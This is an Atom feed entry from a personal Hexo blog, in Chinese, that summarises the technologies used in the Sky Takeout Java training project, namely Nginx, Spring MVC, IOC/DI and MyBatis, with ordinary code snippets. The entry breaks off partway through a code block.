<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>seora</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://everythingis-ok.github.io/</id>
  <link href="https://everythingis-ok.github.io/" rel="alternate"/>
  <link href="https://everythingis-ok.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, seora</rights>
  <title>seora's blog^^</title>
  <updated>2026-08-21T14:32:35.400Z</updated>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>博主写苍穹外卖本来是打算熟悉一下java环境和基本框架，为后续写其他项目积累一点经验，本来没有留下什么关于技术栈的总结，偶然看到这篇博客<a href="https://blog.csdn.net/m0_73612206/article/details/141526550">https://blog.csdn.net/m0_73612206/article/details/141526550</a></p><p>发现因为没有及时总结，只凭印象对各种技术栈其实并没有多么熟悉。借助ai对项目进行了分析，在大佬的博客里增加了很多关于这个项目的更具体的各种技术栈的使用，作为自用项目总结。</p><h1 id="技术选型"><a href="#技术选型" class="headerlink" title="技术选型"></a>技术选型</h1><p>技术选型：项目中使用到的技术框架和中间件等</p><p><strong>1）什么是技术框架？</strong></p><p>Java  技术框架是指在 Java 开发中广泛使用的一系列库、工具和结构化代码模式，这些框架为开发者提供了解决常见问题的通用方案。框架通常包括已经实现的模块、组件和工具集，可以减少开发时间、提高代码质量，并确保项目的一致性和可维护性。</p><p><strong>2）什么是中间件？</strong></p><p>Java 中间件是位于操作系统和应用程序之间的独立软件层，它为分布式应用程序提供通信、数据管理、事务处理、安全性、消息传递等服务。中间件通常用于简化应用程序之间的交互、数据传输和系统集成，常见的 Java 中间件包括应用服务器、消息队列、缓存系统、服务总线等。</p><p>下图为项目所涉及的技术选型：</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=OWZhZmEyZDBmMjc3ZjRlMTZmMDgzNTNjZDYwZTcxZTBfYWxIZEowczJ4OU5aNHloR0RSdVBmajExYjV0c05uN3lfVG9rZW46UXJ2dGI5U0VDb1VuYzl4WVVPOWNVMXIybmVGXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>下图为项目整体结构：</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MWQ4MTBlYmU1ZTAxNjE5NmMyZDVhMmI0NDIxM2QwNjhfd2xudzFLMHdOcFJUbm56WE1NcEJwQ3RZTGVTUFVMbzFfVG9rZW46SFZWUmJqNHJPb3NvdU54SjhJYmNpSjExbnBjXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h1 id="前端-管理端"><a href="#前端-管理端" class="headerlink" title="前端-管理端"></a>前端-管理端</h1><h2 id="Nginx"><a href="#Nginx" class="headerlink" title="Nginx"></a>Nginx</h2><p>Nginx 是一个高性能的 Web 服务器和反向代理服务器，常用于处理静态资源、负载均衡和转发客户端请求到后端服务。</p><h3 id="1-正向代理"><a href="#1-正向代理" class="headerlink" title="1 正向代理"></a><strong>1 正向代理</strong></h3><p>代理客户端，让客户端“借别人的身份访问服务器”。常见场景是科学上网。</p><h3 id="2-反向代理"><a href="#2-反向代理" class="headerlink" title="2 反向代理"></a><strong>2 反向代理</strong></h3><p>代理服务器，让服务器“借代理的身份接收客户端请求”</p><p>前端发送的请求地址为：<a href="http://localhost/api/employee/login%EF%BC%8C">http://localhost/api/employee/login，</a></p><p>而我们后端的接口地址则为：<a href="http://localhost:8080/admin/employee/login">http://localhost:8080/admin/employee/login</a>,</p><p>可以很明显地看到前端请求地址和后端接口地址并不一样，但是却能请求成功，这就是因为通过了 Nginx 的反向代理，浏览器也就是我们用户，发出的请求先是请求到 Nginx 服务器，由 Nginx 反向代理把这个请求转发给后端的 tomcat 服务器。可能有人要问了，“那这不纯纯多此一举嘛，我直接发给 tomcat 不行嘛，为啥非要中间多这么个步骤？” 这就要说到 Nginx 反向代理的好处了。</p><p>常见用途：</p><h4 id="2-1-负载均衡"><a href="#2-1-负载均衡" class="headerlink" title="2.1 负载均衡"></a><strong>2.1 负载均衡</strong></h4><p>负载均衡可以把大量的请求按着我们自己指定的方式均衡地分配给每台服务器，如下图所示，通过 Nginx 负载均衡，可以将前端发送的请求均匀地分发给服务A、B、C。如果没有 Nginx 负载均衡，就需要前端自己去访问后端的服务器，而前端只能固定的访问某一台服务器，效率就会大大折扣了。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MjlmYmYxNjVkNzk4MTA1NzllY2Y5YTY4NGYyNGQ0ZDRfTjBxZ20yRVIwUTBjN3Z2MnJHRm5iQ2w4blRWY0NGdlNfVG9rZW46WnZHWWI0aFYzb0NRQVd4T21hdGMyZExKbk5jXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h4 id="2-2-隐藏真实服务器"><a href="#2-2-隐藏真实服务器" class="headerlink" title="2.2 隐藏真实服务器"></a><strong>2.2 隐藏真实服务器</strong></h4><p>上面说到如果没有 Nginx 负载均衡，就需要前端自己去访问后端的服务器，但实际在我们实际企业项目的开发中，类似于上图的服务A、B、C是不会直接暴露出来的，因此，由前端是无法直接请求到后端服务的，只能通过 Nginx 这个入口。</p><h4 id="2-3-动静分离"><a href="#2-3-动静分离" class="headerlink" title="2.3 动静分离"></a><strong>2.3 动静分离</strong></h4><p>传统方式处理接口请求、返回图片、返回CSS等搜友请求都经过后端服务器，压力过大，动静分离就是把网站中的静态资源和动态请求分开处理，提高系统性能。</p><p><strong>2.4 提高访问速度</strong></p><p>在请求到 Nginx 的时候，Nginx 会做一个缓存，如果我们请求一个之前请求过的接口地址，Nginx 就无须再请求真正的后端服务，而是会直接将缓存的数据响应给前端，访问速度会进一步的提高。</p><p>既然 Nginx 有那么多的优点，那我们该怎么去配置 Nginx 反向代理和 Nginx 负载均衡呢</p><h3 id="3-配置反向代理"><a href="#3-配置反向代理" class="headerlink" title="3 配置反向代理"></a><strong>3 配置反向代理</strong></h3><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=OTM5NjBmMzZjMjU5MDJiNmJkMjJlMDM5YmU3NjQ0NTJfaUtEZVBmd0U4Y3RzMURGR2hmb0c5cTB3WFlDSGpud2dfVG9rZW46S1Z4ZmJnZDBrb05Ld1d4Q3oweWNqTGRwbjFmXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>还是刚才登录的接口，由于请求路径中含有 “&#x2F;api&#x2F;” 当请求发到 Nginx 之后，Nginx 就会通过反向代理转发给后端 tomcat，而转发地址就是我们指定的地址，而后面那段动态的请求路径，也会追加到我们指定的地址后面，从而拼成一个完成的请求路径，而这个路径就正好对应了我们后端的接口地址，因此可以请求成功。</p><h3 id="4-配置负载均衡"><a href="#4-配置负载均衡" class="headerlink" title="4 配置负载均衡"></a><strong>4 配置负载均衡</strong></h3><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=NGQzZDY1Nzk3NGJmNWI3M2EzODE4NmJlYjlkNDZiNzVfZWdiTDl5V2lhb2FYTkZKTmQzeGk0bGxkUENYeURVT1hfVG9rZW46QktXdWJaRVozb1BXczF4RkQweWNOdENHblhmXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>因为本地只有一台服务器，所以下面的服务器地址被注释掉了,weight是权重，weight值越高，被转发到该服务器的请求越多。这种Nginx负载均衡策略是按照权重来分，还有一下策略:</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=OTg3NjA0NzE3YWMxZjE3YjFkY2I5NGQ2NTA5YTE2NWFfVVd1NDVIQkxUcUZzM0I0QjlHaW1WN3huWjZiZ1Vzb0dfVG9rZW46SmlQQWJTdVA5b2g0NTV4YXZ6WGNheElNbmRiXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h2 id="Apache-ECharts"><a href="#Apache-ECharts" class="headerlink" title="Apache ECharts"></a>Apache ECharts</h2><p>Apache ECharts 是一款基于 Javascript 的数据可视化图库表，提供直观、生动、可交互、可个性化定制的数据可视化图表。使用 Echarts，重点在于研究当前图表所需的数据格式 。通常是需要后端提供符合格式要求的动态数据，然后响应给前端来展示图表</p><h3 id="1-Apache-ECharts的导入"><a href="#1-Apache-ECharts的导入" class="headerlink" title="1 Apache ECharts的导入"></a>1 Apache ECharts的导入</h3><p>官方文档:<a href="https://echarts.apache.org/handbook/zh/get-started/">https://echarts.apache.org/handbook/zh/get-started/</a></p><p>在 <a href="https://www.jsdelivr.com/package/npm/echarts">https://www.jsdelivr.com/package/npm/echarts</a> 获取<code>dist/echarts.js</code></p><h1 id="前端-用户端"><a href="#前端-用户端" class="headerlink" title="前端-用户端"></a>前端-用户端</h1><h2 id="微信小程序"><a href="#微信小程序" class="headerlink" title="微信小程序"></a>微信小程序</h2><p>一种新的开放能力，可以在微信内被便捷地获取和传播，同时具有出色的使用体验。那么开发微信小程序之前需要做哪些准备呢？</p><p>开发微信小程序所要做的准备</p><p>1.注册小程序</p><p>2.完善小程序信息</p><p>3.下载开发者工具</p><p>本项目微信小程序端的注册登录和微信支付功能都需要阅读微信提供的接口文档，向为辐接口服务发送数据并获取数据，下图为小程序登录的接口文档。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=ZjUwNDEwYTZlZjI2OWIzMDM2NGVjZjQ2YjYxOTQ3YTZfbW9uQ0pZMUFiN3pCdERBcXhPUzB3TGhEdU9SdUltUWxfVG9rZW46WElLcWJNdnhzb3pPSHl4cDFjVGNBbnlNblRjXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h1 id="后端"><a href="#后端" class="headerlink" title="后端"></a>后端</h1><h2 id="Spring-MVC"><a href="#Spring-MVC" class="headerlink" title="Spring MVC"></a>Spring MVC</h2><p>pring MVC 是 Spring 框架中专门用于构建 Web 应用的模块，它实现了经典的 MVC（Model-View-Controller） 设计模式，帮助开发者快速、规范地开发基于 HTTP 的 Web 应用。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTdhYjE1NjUyYWRkNjZlZGEwN2UwYTE2ZGQxM2RjMDFfck9sZ1pPSGhhMGZydzBuSUJkeTBQV0JuQTlaMnc3SUhfVG9rZW46VW8zMmJBdndGb0lZSVF4QlJXRWNlWGp3bk1jXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h3 id="1-Spring-MVC-的核心工作流程"><a href="#1-Spring-MVC-的核心工作流程" class="headerlink" title="1 Spring MVC 的核心工作流程"></a>1 Spring MVC 的核心工作流程</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">客户端请求 → DispatcherServlet → HandlerMapping → Controller → Service → Mapper → 数据库</span><br><span class="line">                ↓                    ↓                  ↓                                                          </span><br><span class="line">            (前端控制器)        (路由映射)          (业务处理)                                                     </span><br><span class="line">                                                                                                         </span><br><span class="line">客户端响应 ← ViewResolver ← 返回结果 ← Controller ← Service ← Mapper ← 数据库结果</span><br><span class="line">                ↓                    ↓</span><br><span class="line">            (视图解析)          (封装响应)</span><br></pre></td></tr></table></figure><h3 id="2-本项目中-Spring-MVC-的实际应用"><a href="#2-本项目中-Spring-MVC-的实际应用" class="headerlink" title="2 本项目中 Spring MVC 的实际应用"></a>2 本项目中 Spring MVC 的实际应用</h3><h3 id="3-本项目中-Spring-MVC-的实际应用"><a href="#3-本项目中-Spring-MVC-的实际应用" class="headerlink" title="3 本项目中 Spring MVC 的实际应用"></a>3 本项目中 Spring MVC 的实际应用</h3><h4 id="3-1-Controller-层"><a href="#3-1-Controller-层" class="headerlink" title="3.1 Controller 层"></a>3.1 Controller 层</h4><p>以 OrderController.java 为例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RestController(&quot;userOrderController&quot;)</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/user/order&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> OrderService orderService;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/submit&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;OrderSubmitVO&gt; <span class="title function_">submit</span><span class="params">(<span class="meta">@RequestBody</span> OrdersSubmitDTO ordersSubmitDTO)</span> &#123;</span><br><span class="line">        <span class="type">OrderSubmitVO</span> <span class="variable">orderSubmitVO</span> <span class="operator">=</span> orderService.submitOrder(ordersSubmitDTO);</span><br><span class="line">        <span class="keyword">return</span> Result.success(orderSubmitVO);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Spring MVC 在这里做了什么？</p><ul><li>@RestController ：告诉 Spring 这是一个处理 HTTP 请求的类</li><li>@RequestMapping(“&#x2F;user&#x2F;order”) ：设置基础路径，所有方法的 URL 都以此为前缀</li><li>@PostMapping(“&#x2F;submit”) ：映射 POST 请求的路径为 &#x2F;user&#x2F;order&#x2F;submit</li><li>@RequestBody ：自动将 JSON 请求体反序列化为 Java 对象</li><li>Result<OrderSubmitVO> ：自动将返回的对象序列化为 JSON 响应</li></ul><h4 id="3-2-请求处理流程"><a href="#3-2-请求处理流程" class="headerlink" title="3.2 请求处理流程"></a>3.2 请求处理流程</h4><p>当 C 端用户在小程序点击”下单”时：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">① 小程序发送 POST 请求到 /user/order/submit（JSON 格式的地址、购物车等数据）</span><br><span class="line">        ↓</span><br><span class="line">② DispatcherServlet 接收请求，查找匹配的 Controller 方法</span><br><span class="line">        ↓</span><br><span class="line">③ 找到 OrderController.submit() 方法</span><br><span class="line">        ↓</span><br><span class="line">④ Spring MVC 自动完成：</span><br><span class="line">   - JWT 拦截器验证 token（WebMvcConfiguration 中配置的）</span><br><span class="line">   - JSON 参数 → OrdersSubmitDTO 对象（<span class="meta">@RequestBody</span>）</span><br><span class="line">   - 调用 orderService.submitOrder() 处理业务</span><br><span class="line">        ↓</span><br><span class="line">⑤ Service 层查询地址簿、检查配送范围、创建订单</span><br><span class="line">        ↓</span><br><span class="line">⑥ Controller 拿到结果，Spring MVC 自动封装为 JSON 响应</span><br><span class="line">        ↓</span><br><span class="line">⑦ 小程序收到下单结果</span><br></pre></td></tr></table></figure><h4 id="3-3-参数绑定"><a href="#3-3-参数绑定" class="headerlink" title="3.3 参数绑定"></a>3.3 参数绑定</h4><p>Spring MVC 能自动将 HTTP 请求参数绑定到 Java 方法参数上：</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 方式1: URL 路径参数</span></span><br><span class="line"><span class="meta">@GetMapping</span>(<span class="string">&quot;/&#123;id&#125;&quot;</span>)</span><br><span class="line"><span class="keyword">public</span> <span class="title class_">Result</span>&lt;<span class="title class_">Orders</span>&gt; <span class="title function_">getById</span>(<span class="params"><span class="meta">@PathVariable</span> <span class="title class_">Long</span> id</span>) &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式2: 查询参数 / 表单参数</span></span><br><span class="line"><span class="meta">@GetMapping</span>(<span class="string">&quot;/list&quot;</span>)</span><br><span class="line"><span class="keyword">public</span> <span class="title class_">Result</span>&lt;<span class="title class_">PageResult</span>&gt; <span class="title function_">list</span>(<span class="params">int page, int pageSize</span>) &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式3: JSON 请求体</span></span><br><span class="line"><span class="meta">@PostMapping</span>(<span class="string">&quot;/submit&quot;</span>)</span><br><span class="line"><span class="keyword">public</span> <span class="title class_">Result</span>&lt;<span class="title class_">OrderSubmitVO</span>&gt; <span class="title function_">submit</span>(<span class="params"><span class="meta">@RequestBody</span> <span class="title class_">OrdersSubmitDTO</span> dto</span>) &#123; ... &#125;</span><br></pre></td></tr></table></figure><h4 id="3-4-返回值处理"><a href="#3-4-返回值处理" class="headerlink" title="3.4 返回值处理"></a>3.4 返回值处理</h4><p>使用 @RestController 时，Spring MVC 自动将返回值序列化为 JSON：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Result&lt;OrderSubmitVO&gt; <span class="title function_">submit</span><span class="params">(...)</span> &#123;</span><br><span class="line">    <span class="type">OrderSubmitVO</span> <span class="variable">vo</span> <span class="operator">=</span> orderService.submitOrder(dto);</span><br><span class="line">    <span class="keyword">return</span> Result.success(vo);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Spring MVC 会将 Result.success(vo) 转换为：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="number">123456789</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;orderTime&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2026-08-04T10:30:00&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;orderNumber&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1722681000000&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;orderAmount&quot;</span><span class="punctuation">:</span> <span class="number">45.00</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h2 id="三层架构"><a href="#三层架构" class="headerlink" title="三层架构"></a>三层架构</h2><h3 id="1-什么是三层架构"><a href="#1-什么是三层架构" class="headerlink" title="1 什么是三层架构"></a>1 什么是三层架构</h3><p>后端对操作的处理逻辑上看可以分为三个部分，</p><ul><li>数据访问：负责业务数据的维护操作，包括增、删、改、查等操作。</li><li>逻辑处理：负责业务逻辑处理的代码。</li><li>请求处理、响应数据：负责，接收页面的请求，给页面响应数据。</li></ul><p>按照上述的三个组成部分，在项目开发中可以将代码分为三层，如图所示：</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=YmRlZDcxMjExMDExMjg4NjAxNmJhMzM2ZDEyOTlmYjNfdnRQTUZid0g5N3Z3VGVqckRjWG1Mam0yUXIwN3U1N0JfVG9rZW46T0xaemJWc01Eb3M2NjR4QjhSNWNaZDVDbmZkXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><ul><li><p>Controller：控制层。接收前端发送的请求，对请求进行处理，并响应数据。</p></li><li><p>Service：业务逻辑层。处理具体的业务逻辑。</p></li><li><p>Dao：数据访问层(Data Access Object)，也称为持久层。负责数据访问操作，包括数据的增、删、改、查。</p></li><li><p>前端发起的请求，由Controller层接收（Controller响应数据给前端）</p></li><li><p>Controller层调用Service层来进行逻辑处理（Service层处理完后，把处理结果返回给Controller层）</p></li><li><p>Serivce层调用Dao层（逻辑处理过程中需要用到的一些数据要从Dao层获取）</p></li><li><p>Dao层操作文件中的数据（Dao拿到的数据会返回给Service层）</p></li></ul><h3 id="2-什么是耦合"><a href="#2-什么是耦合" class="headerlink" title="2 什么是耦合"></a>2 什么是耦合</h3><p>耦合 指的是两个模块之间依赖程度太高，一个模块发生变动，另一个模块也要跟着改。</p><p>耦合 指的是两个模块之间依赖程度太高，一个模块发生变动，另一个模块也要跟着改。</p><p><strong>用反例说明：高耦合的写法</strong></p><p>假设 OrderController.java 是这样写的：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderController</span> &#123;</span><br><span class="line">    <span class="comment">// 高耦合：Controller 直接 new 出 Service 实现类</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">OrderService</span> <span class="variable">orderService</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">OrderServiceImpl</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>问题在哪？</p><ul><li>Controller 必须知道 OrderServiceImpl 的存在</li><li>如果要换一个新的 OrderServiceImpl2 ，Controller 代码必须改</li><li>Controller 和具体实现类绑死了 → 这就是高耦合</li></ul><h3 id="3-什么是解耦"><a href="#3-什么是解耦" class="headerlink" title="3 什么是解耦"></a>3 什么是解耦</h3><p>解耦 就是让模块之间通过 接口&#x2F;抽象 来协作，而不是直接依赖具体实现。</p><p>本项目的正确写法是：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RestController(&quot;userOrderController&quot;)</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/user/order&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> OrderService orderService;  <span class="comment">// 依赖接口，不依赖实现类</span></span><br><span class="line"></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/submit&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;OrderSubmitVO&gt; <span class="title function_">submit</span><span class="params">(<span class="meta">@RequestBody</span> OrdersSubmitDTO </span></span><br><span class="line"><span class="params">    ordersSubmitDTO)</span> &#123;</span><br><span class="line">        <span class="type">OrderSubmitVO</span> <span class="variable">orderSubmitVO</span> <span class="operator">=</span> orderService.submitOrder(ordersSubmitDTO);</span><br><span class="line">        <span class="keyword">return</span> Result.success(orderSubmitVO);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>OrderService 是接口， OrderServiceImpl 是实现类。</p><p>Controller 只声明了 OrderService orderService ，它根本不知道具体是 OrderServiceImpl 还是其他实现类。以后要换实现类，Controller 一行代码都不用改 。</p><p> 这就是解耦： 面向接口编程，依赖抽象而不是具体实现。</p><h2 id="IOC-DI"><a href="#IOC-DI" class="headerlink" title="IOC&amp;DI"></a>IOC&amp;DI</h2><h3 id="1-什么是IOC"><a href="#1-什么是IOC" class="headerlink" title="1 什么是IOC"></a>1 什么是IOC</h3><p>IOC &#x3D; Inversion of Control ，控制反转。</p><p>意思是： 对象的创建权、管理权从程序员手中”反转”给了 Spring 容器。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTU1YTYyNDVkYWMwMTZkNTE2YzE3YmE0YmViZGY4OGFfUGtKQXZ0Y3hzaVQ2cmtkc2pvcFRtNDBJaWF3dldDczZfVG9rZW46QVZlSWIxbUZKb2c5bGl4QTZmcGNjMzU3bjdlXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h3 id="2-本项目中的-IOC"><a href="#2-本项目中的-IOC" class="headerlink" title="2 本项目中的 IOC"></a>2 本项目中的 IOC</h3><p>看 OrderServiceImpl.java ：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderServiceImpl</span> <span class="keyword">implements</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> OrderMapper orderMapper;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> OrderDetailMapper orderDetailMapper;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ShoppingCartMapper shoppingCartMapper;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> AddressBookMapper addressBookMapper;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> WeChatPayUtil weChatPayUtil;</span><br></pre></td></tr></table></figure><p>这些对象都不是程序员 new 出来的，而是 Spring 在启动时扫描到 @Service 注解后，自动创建对象放进容器里，运行时按需分配。</p><p> Spring 容器就像一个大工厂，启动时把所有标了 @Service 、 @Controller 、 @Mapper 等注解的类都实例化好，放进”容器”中。程序运行时，你需要什么，它就从容器里拿什么给你。</p><h3 id="3-为什么使用IOC"><a href="#3-为什么使用IOC" class="headerlink" title="3 为什么使用IOC"></a>3 为什么使用IOC</h3><p>使用 IOC 是为了把”对象的创建和管理”从业务代码中抽离出来，交给 Spring 容器统一负责，从而降低模块之间的耦合，让代码更容易维护、扩展和测试。</p><p>当项目变大、依赖变多、团队协作时，手动创建和管理对象会导致代码高度耦合、难以维护和测试。 把对象的创建和管理交给 Spring，程序员专注于业务逻辑 ，是现代 Java 后端开发的标准做法。</p><h3 id="4-什么是DI"><a href="#4-什么是DI" class="headerlink" title="4 什么是DI"></a>4 什么是DI</h3><p>DI &#x3D; Dependency Injection ，依赖注入。</p><p>它是 IOC 的一种具体实现方式。意思是： Spring 容器把对象所依赖的其他对象，自动”注入”进去。</p><p>本项目中的 DI 表现形式 </p><p>字段注入（Field Injection）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="keyword">private</span> OrderService orderService;</span><br></pre></td></tr></table></figure><p>这是本项目最常用的方式。Spring 会自动在容器中找到 OrderService 的实现类（ OrderServiceImpl ），注入到这个字段中。</p><h2 id="MyBatis"><a href="#MyBatis" class="headerlink" title="MyBatis"></a>MyBatis</h2><h3 id="什么是MyBatis"><a href="#什么是MyBatis" class="headerlink" title="什么是MyBatis"></a>什么是MyBatis</h3><p>MyBatis 是一个 Java 持久层框架（ORM 框架），它的核心作用是： 在 Java 对象和数据库 SQL 之间建立映射，让程序员能通过调用 Java 方法来操作数据库，而不用写一堆 JDBC 样板代码。</p><h3 id="为什么要使用MyBatis"><a href="#为什么要使用MyBatis" class="headerlink" title="为什么要使用MyBatis"></a>为什么要使用MyBatis</h3><p>假设没有 MyBatis，在 OrderServiceImpl 里查询一条地址记录，要这样写：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span 